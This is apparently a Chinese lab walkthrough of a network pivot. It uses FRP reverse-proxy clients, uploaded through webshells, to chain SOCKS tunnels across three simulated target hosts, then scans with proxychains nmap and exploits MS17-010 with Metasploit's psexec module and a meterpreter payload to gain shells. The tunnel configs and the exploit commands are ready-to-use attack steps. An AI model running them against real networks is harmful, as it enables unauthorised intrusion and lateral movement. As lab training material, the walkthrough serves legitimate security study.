Bootstrap

FRP内网代理

       FRP(Fast Reverse Proxy)是一种轻量级、高性能的反向代理工具,可用于内网穿透、安全访问和数据传输等场景。FRP由fatedier团队开发,采用Golang语言编写,支持跨平台部署和使用。FRP的原理是利用反向代理技术将公网请求转发至内网服务器上,并将内网服务器的响应再次转发至公网请求者。在实现内网穿透时,FRP能够将公网与内网之间的隔离突破,使得公网用户可以直接访问内网服务器上的资源,从而实现远程访问和管理。-- > 使用FRP实现内网穿透 - 知乎

操作环境准备:

一台vps(或者使用Kali模拟)

三台靶机模拟内网环境

第一台靶机:

操作系统:CentOS7_64          IP:192.168.1.4

信息收集
分析利用
主机信息收集

请参考这篇文章:

Socks代理_- Time的博客-CSDN博客

FRP建立Socks代理

1.上传FRP至kali

2. VPS启动FRPS(服务端)

cat frps.ini


[common]
server_port = 7000


./frps -c frps.ini     #启动FRPS

netstat -anlp | grep 1080   #查看frps代理端口

3.目标靶机一启动FRPC(客户端)

蚁剑上传FRPC,并启动

frpc授予可执行权限

chmod +x frpc


新建文件写入以下内容:daili.ini

 [common]
server_addr = 攻击机ip
server_port = 7000


[socks5]
type = tcp
plugin = socks5
remote_port = 1080


./frpc -c daili.ini   #启动frpc

4.vim /etc/proxychins4.conf  #修改代理文件

添加保存    socks5 127.0.0.1 1080

5.proxychins curl 192.168.22.129  #访问内网主机

第二台靶机:

靶机信息

靶机系统:Ubunti16.04_64       IP:192.168.22.129

1.主机信息扫描:

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.129 

获得目标主机二的shell:请参考Socks代理_- Time的博客-CSDN博客

2.蚁剑连接shell

由于无法访问内网,蚁剑添加代理

 成功连接

3.探测主机信息

发现33网段主机

FRP建立第二层代理

由于攻击机无法访问第三台主机,所以需要建立第二层代理

1.首先,kali先退出刚才启动的frps服务端

2.重新启动服务端:./frps -c frps.ini

3.第一台靶机启动frpc

   蚁剑上传frpc文件  至靶机一

   新建frpc1.ini文件

内容如下:

server_addr #攻击机IP

[common]
server_addr = 192.168.1.134      
server_port = 7000


[socks5-1]
type = tcp
remote_port = 1080
plugin = socks5


[socks5-33]
type = tcp
local_ip = 127.0.0.1
local_port = 10080
remote_port = 10088

./frpc -c frpc1.ini  #启动frpc客户端

靶机一启动frps服务端

1.蚁剑上传文件frps

2.新建frps1.ini文件

内容如下:

[common]
bind_port = 7000

靶机二启动frpc客户端

./frpc -c frpc2.ini

1.蚁剑上传frpc文件

2.新建frpc2.ini文件

内容如下:

server_addr 为靶机二的IP

[common]
server_addr = 192.168.22.129
server_port = 7000


[socks5-2]
type = tcp
plugin = socks5
remote_port = 10080   #这个 端口号是 > 靶机一:frpc.ini文件中 local_port的端口:10080

第三台靶机:

靶机信息

靶机系统:Windows7_64      IP:192.168.33.33

信息收集:

proxychains nmap -sT -Pn -p- -n -T4 192.168.33.128

返回结果错误

排查一下

1.VPS:frps服务端掉线

重启:./frps -c frps.ini

2.靶机一重启frpc客户端,重启frps服务端

netstat -anlp | grep 7000   #查看frps端口

ps -elf | grep frpc   #查看进程

3.靶机二重启frpc客户端

再次扫描还是报错

Kali再次打开代理配置文件

vim /etc/proxychains4.conf

#将第一次写入的代理注释掉

重新写入:socks5 127.0.0.1 10088     #10088端口是:靶机一:frpc1.ini文件中的 remote_port = 10088

 再次扫描成功

proxychains nmap -sT -Pn -p- -n -T4 192.168.33.128

 其中开放端口有445

可以利用ms17-010漏洞攻击

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set proxies socks5:192.168.1.134:10088
set rhosts 192.168.33.128

exploit

#获得sessions会话

至此获取全部shell

...

;